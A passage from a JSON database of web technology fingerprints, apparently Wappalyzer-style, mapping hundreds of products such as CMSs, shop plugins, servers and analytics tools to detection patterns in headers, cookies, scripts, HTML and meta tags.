Manager":{"js":["wsm_chart_colors_opaque","wsmhidehelpbox","wsm_catalogtabby","wsm.tracking"]},"CitrusPay":{},"Bold Upsell":{"js":["bold.upsell"],"implies":["Shopify","Bold Commerce"]},"Acuity Scheduling":{"js":["acuity_modal_init"]},"Zip":{"js":["quadpayshopify","checkout.enabledpayments.zip","quadpayid"]},"Pingoteam":{"meta":{"designer":["pingoteam"]},"implies":["PHP"]},"Kadence WP Kadence":{"js":["kadence","kadenceconfig"]},"Microsoft HTTPAPI":{"headers":{"server":"microsoft-httpapi(?:/([\\d.]+))?\\;version:\\1"}},"Kakao":{"js":["kakao.version"]},"ShoppingFeeder":{"js":["sfdrorderdata","sfdruniqid"]},"Google Sites":{},"Quanta":{"cookies":{"_qta_rum":""},"js":["quanta.app_id","quantatagrumspeedindex"]},"PeerBoard":{},"Narvar":{"js":["narvarjs_url","narvar"],"headers":{"content-security-policy":"\\.narvar\\.com"}},"Etherpad":{"js":["padeditbar","padimpexp"],"headers":{"server":"^etherpad"},"implies":["Node.js"]},"Pulse Secure":{"cookies":{"dssignin":""}},"Translucide":{"implies":["PHP","jQuery"]},"Hiawatha":{"headers":{"server":"hiawatha v([\\d.]+)\\;version:\\1"}},"Koha":{"js":["koha"],"html":["\u003cinput name=\"koha_login_context\" value=\"intranet\" type=\"hidden\"\u003e","\u003ca href=\"/cgi-bin/koha/"],"meta":{"generator":["^koha ([\\d.]+)$\\;version:\\1"]},"implies":["Perl"]},"PerimeterX":{"cookies":{"_px3":"","_pxff_cc":"","_pxhd":"","_pxvid":""},"js":["_pxappid"]},"prettyPhoto":{"js":["pp_images","pp_titles","pp_alreadyinitialized","pp_descriptions"],"html":["(?:\u003clink [^\u003e]*href=\"[^\"]*prettyphoto(?:\\.min)?\\.css|\u003ca [^\u003e]*rel=\"prettyphoto)"],"implies":["jQuery"]},"MetaSlider":{},"Bold Commerce":{},"MotoCMS":{"html":["\u003clink [^\u003e]*href=\"[^\u003e]*\\/mt-content\\/[^\u003e]*\\.css"],"implies":["PHP","AngularJS","jQuery"]},"Instatus":{},"HappyFox Helpdesk":{},"FreakOut":{"js":["fout","_fout_jsurl","_fout_queue"]},"Cryout Creations Parabola":{"js":["parabola_mobilemenu_init","parabola_settings"]},"Mura CMS":{"meta":{"generator":["mura cms ([\\d]+)\\;version:\\1"]},"implies":["Adobe ColdFusion"]},"DDoS-Guard":{"headers":{"server":"^ddos-guard$"}},"Wheelio":{},"Demandbase":{"js":["demandbase","demandbase.version"]},"Polyfill":{},"Foursixty":{"js":["foursixtyembed"]},"InfernoJS":{"js":["inferno","inferno.version"]},"Recruitee":{"js":["rtapp.mapboxtoken"]},"Albacross":{"js":["_nqsv"]},"PushDaddy Whatsapp Chat":{"implies":["WhatsApp Business Chat","Shopify"]},"STUDIO":{"meta":{"generator":["^studio$"]},"implies":["Vue.js","Nuxt.js","Firebase","Google Cloud","Google Tag Manager"]},"Drupal Multisite":{"implies":["Drupal"]},"Elfsight":{},"Getsitecontrol":{},"Spinnakr":{"js":["_spinnakr_site_id"]},"Limit Login Attempts Reloaded":{},"Naver Maps":{"js":["naver.maps"]},"Swiftype":{"js":["swiftype"]},"Rokt":{"headers":{"content-security-policy":"\\.rokt\\.com"}},"Scalapay":{},"Google Ads":{},"Google Code Prettify":{"js":["prettyprint"]},"Shoptet":{"js":["shoptet"],"html":["\u003clink [^\u003e]*href=\"https?://cdn\\.myshoptet\\.com/"],"meta":{"web_author":["^shoptet"]},"implies":["PHP"]},"Microsoft 365":{},"Visely":{"js":["visely.recommendationsapi","viselycartproductids","viselypage"]},"Hireology":{},"Responsive Lightbox \u0026 Gallery":{"js":["rlargs.activegalleries","rl_hide_image","rl_view_image"]},"W3Counter":{},"Greenhouse":{"js":["populategreenhousejobs"]},"Sematext Experience":{},"Squadded":{"implies":["Cart Functionality"]},"4-Tell":{"cookies":{"4tell":"","4tellcart":"","4tellsession":""},"js":["_4tellboost"]},"Yotpo Reviews":{"js":["yotpo"]},"Roadiz CMS":{"headers":{"x-powered-by":"roadiz cms"},"meta":{"generator":["^roadiz ?(?:master|develop)? v?([0-9\\.]+)\\;version:\\1"]},"implies":["PHP","Symfony"]},"Mailmunch":{"js":["mailmunchwidgets","mailmunch"]},"Worldz":{},"MooTools":{"js":["mootools","mootools.version"]},"Twitter":{},"osCommerce":{"cookies":{"oscsid":""},"html":["\u003cbr /\u003epowered by \u003ca href=\"https?://www\\.oscommerce\\.com","\u003c(?:input|a)[^\u003e]+name=\"oscsid\"","\u003c(?:tr|td|table)class=\"[^\"]*infoboxheading"],"implies":["PHP","MySQL"]},"AfterShip Returns Center":{},"Amaya":{"meta":{"generator":["amaya(?: v?([\\d.]+[a-z]))?\\;version:\\1"]}},"GoDaddy Uptown Style":{},"Brightspot":{"headers":{"x-powered-by":"^brightspot$"},"implies":["Java"]},"DoubleVerify":{},"EasyDigitalDownloads":{"meta":{"generator":["^easy digital downloads v(.*)$\\;version:\\1"]}},"Amplitude":{"js":["amplitude_key"]},"eBay Partner Network":{},"Extole":{"js":["extole.version"]},"Parttrap ONE":{"js":["pt.analytics.additem","pt.sections.checkout","pt.translation.basketisempty"],"implies":["Handlebars","Microsoft ASP.NET","Bootstrap"]},"Statamic":{"js":["statamic"],"headers":{"x-powered-by":"^statamic$"},"implies":["PHP","Laravel"]},"PickyStory":{"js":["pickystory.overridestore"],"implies":["Shopify"]},"Air360":{"js":["air360.sdk_version"]},"The Theme Foundry Make":{"js":["makefrontend","makedynamicstylesheet"]},"Cookie Notice":{},"Think Up Themes Minamaze":{},"Google Web Server":{"headers":{"server":"gws"}},"PayPal Credit":{"js":["paypaloffersobject","paypalcreditpopover"],"implies":["PayPal"]},"FameThemes Screenr":{"js":["screenr.autoplay","screenr_plus"]},"Conversant Consent Tool":{"js":["conversant"]},"Shaka Player":{"js":["shaka.player.version"]},"Svbtle":{"meta":{"generator":["^svbtle\\.com$"]}},"ConvertKit":{},"Contently":{"js":["_contently.siteid"]},"Akamai Web Application Protector":{"js":["aksb"],"implies":["Akamai"]},"Zeus Technology":{"js":["zeus.version","zeusadunitpath"]},"Reservio":{},"WorldPay":{},"Mono":{"headers":{"x-powered-by":"mono"}},"Starhost":{"headers":{"x-starhost":"","cache-control":"starhost"}},"CCV Shop":{},"Support Hero":{"js":["supportherowidget","supporthero"]},"Appsflyer":{"js":["appsflyersdkobject"]},"Solodev":{"headers":{"solodev_session":""},"html":["\u003cdiv class=[\"']dynamicdiv[\"'] id=[\"']dd\\.\\d\\.\\d(?:\\.\\d)?[\"']\u003e"],"implies":["PHP"]},"mirrAR":{"js":["initmirrarui","loadmirrar"]},"Conekta":{},"Cryout Creations Fluida":{},"Tiendanube":{"js":["ls.store.url"]},"PagSeguro":{"js":["pagsegurodirectpayment","_pagsegurodirectpayment"]},"Billbee":{},"Divido":{},"Akka HTTP":{"headers":{"server":"akka-http(?:/([\\d.]+))?\\;version:\\1"}},"Divi":{"js":["divi"],"meta":{"generator":["divi"]}},"HubSpot Cookie Policy Banner":{},"Cookie Script":{},"CoconutSoftware":{"cookies":{"coconut_calendar":""}},"Sprig":{"js":["userleap"]},"MochiWeb":{"headers":{"server":"mochiweb(?:/([\\d.]+))?\\;version:\\1"}},"TrustArc":{},"Rive":{"js":["rive.rive"]},"Zoho":{},"Protovis":{"js":["protovis"]},"Misskey":{"html":["\u003c!-- thank you for using misskey! @syuilo --\u003e"],"meta":{"application-name":["misskey"]}},"Bluecore":{"js":["_bluecoretrack","bluecore_action_trigger","triggermail","triggermail_email_address"]},"Trustvox":{"js":["_trustvox_colt","_trustvox_shelf_rate","trustvox_id","trustvoxcertificatewidget","trustvoxrateswidget","_trustvox"]},"Frequenceo":{},"Statcounter":{"js":["_statcounter","sc_project","sc_security"]},"Imperva":{"headers":{"x-iinfo":""}},"Combeenation":{},"Convertr":{"meta":{"author":["^convertr commerce$"]},"implies":["PHP","MySQL","Vue.js","Nuxt.js","Amazon Web Services"]},"Kiwi Sizing":{"js":["kiwisizing"]},"hCaptcha":{"js":["hcaptcha_sitekey","hcaptcha.getrespkey","hcaptchaonload"],"headers":{"content-security-policy":"(?:\\.|//)hcaptcha\\.com"},"css":["#cf-hcaptcha-container"]},"XpressEngine":{"meta":{"generator":["xpressengine"]}},"Digest":{"headers":{"www-authenticate":"^digest"}},"Glitch":{},"Oracle Web Cache":{"headers":{"server":"oracle(?:as)?[- ]web[- ]cache(?:[- /]([\\da-z./]+))?\\;version:\\1"}},"Tapcart":{"js":["tapcartwebbanner"]},"nghttpx - HTTP/2 proxy":{"headers":{"server":"nghttpx nghttp2/?([\\d.]+)?\\;version:\\1"}},"Classy":{"js":["classy"]},"VIVVO":{"cookies":{"vivvosessionid":""},"js":["vivvo"]},"DropInBlog":{},"DHTMLX":{},"Commanders Act TagCommander":{"js":["tc_vars"]},"SublimeVideo":{"js":["sublimevideo"]},"Ematic Solutions":{"js":["ematics","ematicsobject","ematicapikey","ematicssubscribe"]},"Awesomplete":{"js":["awesomplete"],"html":["\u003clink[^\u003e]+href=\"[^\u003e]*awesomplete(?:\\.min)?\\.css"]},"k-eCommerce":{"meta":{"generator":["k-ecommerce"]}},"ReCaptcha v2 for Contact Form 7":{"implies":["Contact Form 7"]},"OrderYOYO":{"js":["smartbanneroy"]},"ContentStudio":{},"RevolverMaps":{},"Themeansar Newsup":{},"NVD3":{"js":["nv.addgraph","nv.version"],"html":["\u003clink[^\u003e]* href=[^\u003e]+nv\\.d3(?:\\.min)?\\.css"],"implies":["D3"]},"Amazon Advertising":{},"GEOvendas":{},"Webix":{"js":["webix"]},"OWL Carousel":{"html":["\u003clink [^\u003e]*href=\"[^\"]+owl\\.carousel(?:\\.min)?\\.css"],"implies":["jQuery"]},"Livescale":{"implies":["Shopify"]},"Solr":{"implies":["Lucene"]},"Beeswax":{},"Get Satisfaction":{"js":["gsfn"]},"Threekit":{"js":["threekit.configuratorform","threekitar","threekitplayer"]},"Daily Deals":{"js":["ddaddtocheckout","ddaddtoorder"]},"Gitiles":{"html":["powered by \u003ca href=\"https://gerrit\\.googlesource\\.com/gitiles/\"\u003egitiles\u003c"],"implies":["Java","git"]},"DPD":{},"ikiwiki":{"html":["\u003clink rel=\"alternate\" type=\"application/x-wiki\" title=\"edit this page\" href=\"[^\"]*/ikiwiki\\.cgi","\u003ca href=\"/(?:cgi-bin/)?ikiwiki\\.cgi\\?do="]},"Craft CMS":{"cookies":{"craftsessionid":""},"headers":{"x-powered-by":"\\bcraft cms\\b"},"implies":["Yii"]},"Unpkg":{},"Backdrop":{"js":["backdrop"],"headers":{"x-backdrop-cache":"","x-generator":"^backdrop cms(?:\\s([\\d.]+))?\\;version:\\1"},"meta":{"generator":["^backdrop cms(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Reddit Ads":{},"RoundCube":{"js":["rcmail","roundcube"],"html":["\u003ctitle\u003eroundcube"],"implies":["PHP"]},"Azion":{"headers":{"server":"^azion "}},"Centminmod":{"headers":{"x-powered-by":"centminmod"},"implies":["CentOS","Nginx","PHP"]},"Yieldify":{"js":["_yieldify"]},"Accentuate Custom Fields":{},"RankMath SEO":{},"Bookingkit":{"js":["bookingkitapp"]},"osTicket":{"cookies":{"ostsessid":""},"implies":["PHP","MySQL"]},"Adminer":{"html":["adminer\u003c/a\u003e \u003cspan class=\"version\"\u003e([\\d.]+)\u003c/span\u003e\\;version:\\1","onclick=\"bodyclick\\(event\\);\" onload=\"verifyversion\\('([\\d.]+)'\\);\"\u003e\\;version:\\1"],"implies":["PHP"]},"FintechOS":{"js":["ftoschat","ftos.core.getb2cculture"],"meta":{"ftos-app-version":["\\sv([\\d\\.]+)\\s\\;version:\\1"]}},"Swell":{"cookies":{"swell-session":""},"js":["swell.version"],"html":["\u003c[^\u003e]*swell\\.is","\u003c[^\u003e]*swell\\.store","\u003c[^\u003e]*schema\\.io"]},"OneSignal":{"js":["onesignal","__onesignalsdkloadcount"]},"UK Mail":{},"CodeIgniter":{"cookies":{"exp_last_activity":"","exp_tracker":"","ci_csrf_token":"^(.+)$\\;version:\\1?2+:","ci_session":""},"html":["\u003cinput[^\u003e]+name=\"ci_csrf_token\"\\;version:2+"],"implies":["PHP"]},"SearchFit":{"js":["sfui.checkout"],"meta":{"generation-copyright":["by\\ssearchfit\\sshopping\\scart\\sv([\\d\\.]+)\\;version:\\1"]}},"Magisto":{"js":["magistoplayerframe","magisto_server"]},"Commerce.js":{"js":["commercejsspace"],"headers":{"chec-version":".*","x-powered-by":"commerce.js"}},"CoinHive Captcha":{},"Fortune3":{"html":["(?:\u003clink [^\u003e]*href=\"[^\\/]*\\/\\/www\\.fortune3\\.com\\/[^\"]*siterate\\/rate\\.css|powered by \u003ca [^\u003e]*href=\"[^\"]+fortune3\\.com)"]},"Dropbox":{},"Yola":{},"Adobe ColdFusion":{"js":["_cfemails"],"headers":{"cookie":"cftoken="},"html":["\u003c!-- start headertags\\.cfm"],"implies":["CFML"]},"SaaSquatch":{"js":["saasquatch_tenant_alias","squatch.ctawidget","squatchquery"]},"Hansel":{"js":["hansel","hanselpx"]},"Perzonalization":{},"Unicorn Platform":{"js":["unicornplatform"]},"TurfJS":{"js":["turf.random","turf.feature","turf.point"]},"Thelia":{"html":["\u003c(?:link|style|script)[^\u003e]+/assets/frontoffice/"],"implies":["PHP","Symfony"]},"PebblePost":{},"AntV G6":{"js":["g6.graph","g6.version"]},"Sharethrough":{},"Polymer":{"js":["polymer.version"],"html":["(?:\u003cpolymer-[^\u003e]+|\u003clink[^\u003e]+rel=\"import\"[^\u003e]+/polymer\\.html\")"]},"Cozy AntiTheft":{"js":["cozyecoadnsua"],"implies":["Shopify"]},"Google Web Toolkit":{"js":["__gwt_","__gwt_activemodules","__gwt_getmetaproperty","__gwt_isknownpropertyvalue","__gwt_stylesloaded","__gwtlistener"],"meta":{"gwt:property":[]},"implies":["Java"]},"Simple Analytics":{"js":["sa_event"]},"aThemes Airi":{},"DedeCMS":{"js":["dedecontainer"],"implies":["PHP"]},"Lede":{"js":["ledeengagementreset","ledechartbeatviews","ledeengagement"],"html":["\u003ca [^\u003e]*href=\"[^\"]+joinlede.com"],"meta":{"og:image":["https?\\:\\/\\/lede-admin"]},"implies":["WordPress","WordPress VIP"]},"Blackbaud Luminate Online":{"js":["blackbaud","don_premium_map"]},"WP-Royal Bard":{},"Angular":{"js":["ng.coretokens","ng.probe"],"implies":["TypeScript"]},"WhatsApp Business Chat":{},"GitLab":{"cookies":{"_gitlab_session":""},"js":["gitlab","gl.dashboardoptions"],"html":["\u003cmeta content=\"https?://[^/]+/assets/gitlab_logo-","\u003cheader class=\"navbar navbar-fixed-top navbar-gitlab with-horizontal-nav\"\u003e"],"meta":{"og:site_name":["^gitlab$"]},"implies":["Ruby on Rails","Vue.js"]},"Trusted Shops":{},"Wizpay":{},"SiteMinder":{},"xtCommerce":{"html":["\u003cdiv class=\"copyright\"\u003e[^\u003c]+\u003ca[^\u003e]+\u003ext:commerce"],"meta":{"generator":["xt:commerce"]}},"iSina Chat":{},"Uvicorn":{"headers":{"server":"uvicorn"},"implies":["Python"]},"WP Puzzle Basic":{},"AngularJS":{"js":["angular","angular.version.full"],"html":["\u003c(?:div|html)[^\u003e]+ng-app=","\u003cng-app"]},"Shelf":{"headers":{"x-powered-by":"dart with package:shelf","server":"dart:io with shelf"},"implies":["Dart"]},"HrFlow.ai":{},"UserRules":{"js":["_usrp"]},"Spree":{"html":["(?:\u003clink[^\u003e]*/assets/store/all-[a-z\\d]{32}\\.css[^\u003e]+\u003e|\u003cscript\u003e\\s*spree\\.(?:routes|translations|api_key))"],"implies":["Ruby on Rails"]},"eucookie.eu":{},"Polylang":{},"Salesforce":{"cookies":{"com.salesforce":""},"js":["sfdcpage","sfdcsessionvars","sfdcapp","sfdccmp"],"html":["\u003c[^\u003e]+=\"brandquaternaryfgrs\""]},"Ticimax":{},"Varnish":{"headers":{"x-varnish-action":"","x-varnish-age":"","x-varnish-cache":"","x-varnish-hostname":"","via":"varnish(?: \\(varnish/([\\d.]+)\\))?\\;version:\\1","x-varnish":""}},"Babylist":{},"Kamva":{"js":["kamva"],"meta":{"generator":["[ck]amva"]}},"Wink":{"js":["wink.version"]},"Litespeed Cache":{"headers":{"x-litespeed-cache":"","x-turbo-charged-by":"litespeed"}},"Bluehost":{"headers":{"host-header":"c2hhcmvklmjsdwvob3n0lmnvbq=="}},"Mondo Media":{"meta":{"generator":["mondo shop"]}},"Pingdom":{},"Amazon EFS":{"implies":["Amazon Web Services"]},"Product Personalizer":{"implies":["Shopify"]},"SpiceThemes SpicePress":{},"Celeritas":{},"Enigma":{},"Cloudflare Browser Insights":{"js":["__cfbeaconcustomtag"]},"Leaflet":{"js":["l.distancegrid","l.posanimation","l.version"]},"DataTables":{"js":["$.fn.datatable.version","jquery.fn.datatable.version"],"implies":["jQuery"]},"Bambuser":{"js":["bambuserliveshopping","_bambuser"]},"Admo.tv":{"js":["admo_tt","admo_config"]},"Visual Quiz Builder":{},"Chatwoot":{"js":["chatwootsdk","$chatwoot"]},"Amex Express Checkout":{},"Dojo":{"js":["dojo","dojo.version.major"]},"CKEditor":{"js":["ckeditor","ckeditor.version","ckeditor_basepath"]},"inSided":{"js":["insideddata","insided"]},"Typecho":{"js":["typechocomment"],"meta":{"generator":["typecho( [\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"FedEx":{},"Nativo":{"js":["ntvconfig"]},"Treasure Data":{"js":["treasure.version"]},"Webflow":{"js":["webflow"],"html":["\u003chtml[^\u003e]+data-wf-site"],"meta":{"generator":["webflow"]}},"Nuxt.js":{"js":["$nuxt"],"html":["\u003cdiv [^\u003e]*id=\"__nuxt\"","\u003cscript [^\u003e]*\u003ewindow\\.__nuxt__"],"implies":["Vue.js","Node.js"]},"Smartlook":{"js":["smartlook","smartlook_key"]},"hyva":{"headers":{"x-built-with":"^hyva themes$"},"implies":["Magento"]},"Kadence WP Virtue":{},"Hogan.js":{"js":["hogan"]},"libwww-perl-daemon":{"headers":{"server":"libwww-perl-daemon(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Perl"]},"mod_wsgi":{"headers":{"x-powered-by":"mod_wsgi(?:/([\\d.]+))?\\;version:\\1","server":"mod_wsgi(?:/([\\d.]+))?\\;version:\\1"},"implies":["Python\\;confidence:50","Apache"]},"SOBI 2":{"html":["(?:\u003c!-- start of sigsiu online business index|\u003cdiv[^\u003e]* class=\"sobi2)"],"implies":["Joomla"]},"KQS.store":{"js":["kqs_off","kqs_box"]},"FullStory":{"js":["fs.clearusercookie"]},"GetSocial":{"js":["getsocial_version"]},"GoAhead":{"headers":{"server":"goahead"}},"ThemeZee Wellington":{"js":["wellingtonscreenreadertext"]},"Fynd Platform":{"js":["__fyndaction"],"implies":["Vue.js"]},"SiteGround":{"headers":{"host-header":"192fc2e7e50945beb8231a492d6a8024|b7440e60b07ee7b8044761568fab26e8|624d5be7be38418a3e2a818cc8b7029b|6b7412fb82ca5edfd0917e3957f05d89"}},"EdgeCast":{"headers":{"server":"^ecd\\s\\(\\s+\\)"}},"MasterkinG32 Framework":{"headers":{"x-powered-framework":"masterking(?:)"},"meta":{"generator":["^masterking(?:)"]}},"PayFast":{},"Trumba":{"js":["$trumba","$trumba.version","trumba"]},"Yelp Review Badge":{},"Yandex.Direct":{"js":["yandex_ad_format","yandex_partner_id"],"html":["\u003cyatag class=\"ya-partner__ads\"\u003e"]},"Klasha":{"js":["klashaclient"]},"Zinnia":{"meta":{"generator":["zinnia"]},"implies":["Django"]},"Revieve":{"js":["revieve.__esmodule","revieveconfig.onclickproduct"]},"Dynatrace":{"cookies":{"dtcookie1":""},"js":["dtrum"]},"Intersection Observer":{},"Projesoft":{},"Okendo":{"js":["okereviewswidgetoninit","okewidgetcontrolinit","okendoreviews"],"implies":["Shopify"]},"AdRoll CMP System":{"js":["__adroll_consent","__adroll_consent_is_gdpr"]},"Attentive":{"js":["__attentive_domain","attn_email_save","__attentive"]},"EqualWeb":{},"Indexhibit":{"html":["\u003c(?:link|a href) [^\u003e]+ndxz-studio"],"meta":{"generator":["indexhibit"]},"implies":["PHP","Apache","Exhibit"]},"Rollbar":{},"particles.js":{"js":["particlesjs"],"html":["\u003cdiv id=\"particles-js\"\u003e"]},"HHVM":{"headers":{"x-powered-by":"hhvm/?([\\d.]+)?\\;version:\\1"},"implies":["PHP\\;confidence:75"]},"CoConstruct":{},"Cryout Creations Mantra":{"js":["mantra_mobilemenu_init","mantra_onload","mantra_options"]},"i30con":{},"TeamCity":{"html":["\u003cspan class=\"versiontag\"\u003e\u003cspan class=\"vword\"\u003eversion\u003c/span\u003e ([\\d\\.]+)\\;version:\\1"],"meta":{"application-name":["teamcity"]},"implies":["Apache Tomcat","Java","jQuery","Moment.js","Prototype","React","Underscore.js"]},"MUI":{"css":["\\.MuiPaper-root"],"implies":["React"]},"Elcodi":{"headers":{"x-elcodi":""},"implies":["PHP","Symfony"]},"France Express":{},"Avada Boost Sales":{"js":["avada_bs_last_update"]},"ArvanCloud":{"js":["arvancloud"],"headers":{"server":"arvancloud"}},"otrs":{"headers":{"x-powered-by":"otrs ([\\d.]+)\\;version:\\1"},"html":["\u003c!--\\s+otrs: copyright"],"implies":["Perl"]},"SobiPro":{"js":["sobiprourl"],"implies":["Joomla"]},"Zone.js":{"js":["zone.root"],"implies":["Angular"]},"OneStat":{"js":["onestat_pageview"]},"Blocksy":{"js":["blocksyjsonp","blocksyresponsivemenucache"]},"Colis Privé":{},"Australia Post":{},"iWeb":{"meta":{"generator":["^iweb( [\\d.]+)?\\;version:\\1"]}},"GoCertify":{"cookies":{"_gocertify_session":""}},"SvelteKit":{"implies":["Svelte","Node.js","Vite"]},"Koobi":{"html":["\u003c!--[^k\u003e-]+koobi ([a-z\\d.]+)\\;version:\\1"],"meta":{"generator":["koobi"]}},"Usercentrics":{"js":["usercentrics.appversion"]},"GOV.UK Frontend":{"js":["govukfrontend"],"html":["\u003clink[^\u003e]* href=[^\u003e]*?govuk-frontend(?:[^\u003e]*?([0-9a-fa-f]{7,40}|[\\d]+(?:.[\\d]+(?:.[\\d]+)?)?)|)[^\u003e]*?(?:\\.min)?\\.css\\;version:\\1","\u003cbody[^\u003e]+govuk-template__body\\;confidence:80","\u003ca[^\u003e]+govuk-link\\;confidence:10"]},"ARI Network Services":{},"jQuery Modal":{"implies":["jQuery"]},"Ecovium":{},"Tabby":{"js":["tabby","tabbypromo"]},"RightJS":{"js":["rightjs"]},"MysteryThemes News Portal Mag":{},"jQuery Mobile":{"js":["jquery.mobile.version"],"implies":["jQuery"]},"WebsPlanet":{"meta":{"generator":["websplanet"]}},"DreamHost":{},"Creativ.eMail":{},"Algolia":{"cookies":{"_algolia":""},"js":["__next_data__.props.pageprops.appsettings.algolia_app_id","__algolia","algoliasearch.version","algolia_insights_src","algoliasearch","__global__.algolia"],"headers":{"content-security-policy":"\\.algolia"}},"CalendarHero":{"js":["zoomai.vars"]},"SquirrelMail":{"js":["squirrelmail_loginpage_onload"],"html":["\u003csmall\u003esquirrelmail version ([.\\d]+)[^\u003c]*\u003cbr \\;version:\\1"],"implies":["PHP"]},"GoDaddy CoBlocks":{},"Essential Addons for Elementor":{},"Neto":{"js":["neto"]},"Optimizely":{"cookies":{"optimizelyenduserid":""},"js":["optimizelyclient.clientversion","optimizelysdk","optimizely"]},"LimeChat":{},"Glider.js":{},"Dynatrace RUM":{"implies":["Dynatrace"]},"phpAlbum":{"html":["\u003c!--phpalbum ([.\\d\\s]+)--\u003e\\;version:\\1"],"implies":["PHP"]},"clickio":{},"Zakeke Visual Customizer":{"implies":["Zakeke"]},"Pagevamp":{"js":["pagevamp"],"headers":{"x-servedby":"pagevamp"}},"React Bricks":{"implies":["React"]},"Bynder":{"cookies":{"bynder":"^[\\da-z]+-[\\da-z]+-[\\da-z]+-[\\da-z]+$"},"js":["bynder.cloudfront"]},"DERAK.CLOUD":{"cookies":{"__derak_auth":"","__derak_user":""},"js":["derakcloud.init"],"headers":{"server":"^derak\\.cloud$","derak-umbrage":""}},"Buy me a coffee":{},"Solvvy":{"js":["solvvy"]},"Microsoft Publisher":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:publisher\"|\u003c!--[if pub]\u003e\u003cxml\u003e)"],"meta":{"progid":["^publisher\\."],"generator":["microsoft publisher( [\\d.]+)?\\;version:\\1"]}},"Zyro":{"meta":{"generator":["^zyro\\.com website builder$"]},"implies":["Vue.js"]},"Astra":{},"Site Search 360":{"js":["ss360config"]},"Onfido":{"headers":{"content-security-policy":"(?:api|sync)\\.onfido\\.com"}},"TVSquared":{"js":["tv2track","_tvq"]},"CityMail":{},"Shoplo":{"js":["shoploajax"]},"jsDelivr":{},"TRISOshop":{},"Leanplum":{"js":["leanplum"]},"OXID eShop":{"cookies":{"sid_key":"oxid"},"js":["oxcookienote","oxinputvalidator","oxloginbox","oxminibasket","oxmodalpopup","oxtopmenu"],"implies":["PHP"]},"Sumo":{"js":["sumo","sumome"]},"Buildertrend":{},"sNews":{"meta":{"generator":["snews"]}},"Recapture":{},"Pantheon":{"headers":{"server":"^pantheon","x-pantheon-styx-hostname":"","x-styx-req-id":""},"implies":["PHP","Nginx","MariaDB","Fastly"]},"WEBXPAY":{"js":["webxpay"],"html":["powered by \u003ca href=\"https://www\\.webxpay\\.com\"\u003ewebxpay\u003c"]},"NationBuilder":{"js":["nb.liquid","nb.fbappid"]},"Flowbite":{"implies":["Tailwind CSS"]},"WP Engine":{"headers":{"x-powered-by":"wp engine","x-wpe-loopback-upstream-addr":"","wpe-backend":"","x-pass-why":""},"implies":["WordPress"]},"Odoo":{"html":["\u003clink[^\u003e]* href=[^\u003e]+/web/css/(?:web\\.assets_common/|website\\.assets_frontend/)\\;confidence:25"],"meta":{"generator":["odoo"]},"implies":["Python","PostgreSQL","Node.js","Less"]},"DokuWiki":{"cookies":{"dokuwiki":""},"js":["doku_tpl","doku_edit_text_content"],"meta":{"generator":["^dokuwiki( release [\\d-]+)?\\;version:\\1"]},"implies":["PHP"]},"Pardot":{"js":["pihostname","piprotocol","pitracker","piaid","picid"],"headers":{"x-pardot-lb":"","x-pardot-route":"","x-pardot-rsp":""}},"GetSimple CMS":{"meta":{"generator":["getsimple"]},"implies":["PHP"]},"Outlook Web App":{"js":["isowapremiumbrowser"],"headers":{"x-owa-version":"([\\d\\.]+)?\\;version:\\1"},"html":["\u003clink[^\u003e]+/owa/auth/([\\d\\.]+)/themes/resources\\;version:\\1"],"implies":["Microsoft ASP.NET"]},"SniperFast":{"js":["sniperfast_page_id","sniperenablesearch","sniper_search_key"]},"MadAdsMedia":{"js":["setmiframe","setmrefurl"]},"Crobox":{"js":["crobox"]},"GOV.UK Elements":{"html":["\u003clink[^\u003e]+elements-page[^\u003e\"]+css\\;confidence:25","\u003cdiv[^\u003e]+phase-banner-alpha\\;confidence:25","\u003cdiv[^\u003e]+phase-banner-beta\\;confidence:25","\u003cdiv[^\u003e]+govuk-box-highlight\\;confidence:25"],"implies":["GOV.UK Toolkit"]},"Yotpo Loyalty \u0026 Referrals":{"js":["swellconfig","swellapi"]},"HTTP/3":{"headers":{"x-firefox-http3":"h3","alt-svc":"h3"}},"Open Classifieds":{"meta":{"copyright":["open classifieds ?([0-9.]+)?\\;version:\\1"],"author":["open-classifieds\\.com"]}},"MariaDB":{},"Zoominfo":{},"mod_dav":{"headers":{"server":"\\b(?:mod_)?dav\\b(?:/([\\d.]+))?\\;version:\\1"},"implies":["Apache"]},"Twenty Twenty-One":{"js":["twentytwentyonecollapsemenuonclickoutside","twentytwentyoneresponsiveembeds"]},"Osterreichische Post":{},"Bold Brain":{"js":["bold.brain"],"implies":["Shopify","Bold Commerce"]},"Chart.js":{"js":["chart","chart.defaults.doughnut","chart.ctx.beziercurveto"]},"Marketo":{"js":["munchkin"]},"Instafeed":{},"Fast Checkout":{"js":["fast_version","fast.events"]},"ABOUT YOU Commerce Suite":{},"Paddle":{"js":["paddle.checkout","paddlescriptlocation"]},"Ckan":{"headers":{"access-control-allow-headers":"x-ckan-api-key","link":"\u003chttp://ckan\\.org/\u003e; rel=shortlink"},"meta":{"generator":["^ckan ?([0-9.]+)$\\;version:\\1"]},"implies":["Python","Solr","Java","PostgreSQL"]},"ManyContacts":{},"MGID":{"js":["mgsensor.mgqworker"]},"AndersNoren Lovecraft":{},"Kubernetes Dashboard":{},"Salesforce Commerce Cloud":{"cookies":{"dw_dnt":"","dwsid":""},"js":["dwanalytics"],"headers":{"server":"demandware ecommerce server"},"implies":["Salesforce"]},"Slick":{"html":["\u003clink [^\u003e]+(?:/([\\d.]+)/)?slick-theme\\.css\\;version:\\1"],"implies":["jQuery"]},"Betty Blocks":{"meta":{"description":["^made with betty blocks$"]},"implies":["React"]},"Knockout.js":{"js":["ko.version"]},"aThemes Sydney":{},"Checkfront":{},"Gumstack":{"js":["gumstack"]},"Kooomo":{"meta":{"generator":["kooomo(?: v([\\d.]+))?\\;version:\\1"]},"implies":["PHP","MySQL"]},"iPresta":{"meta":{"designer":["ipresta"]},"implies":["PHP","PrestaShop"]},"Launchrock":{"js":["lrignition","lrignition","lrloadedjs","lrsiterenderingdata.apiendpoint","lrsitesettingasboolean"]},"Jibres":{"cookies":{"jibres":""},"js":["jibres"],"headers":{"x-powered-by":"jibres"},"meta":{"generator":["jibres"]}},"OutSystems":{"js":["outsystemsdebugger","outsystems"],"implies":["Windows Server","IIS"]},"Jive":{"headers":{"x-jsl":"","x-jive-flow-id":"","x-jive-request-id":"","x-jive-chrome-wrapped":"","x-jive-user-id":""}},"EraofEcom 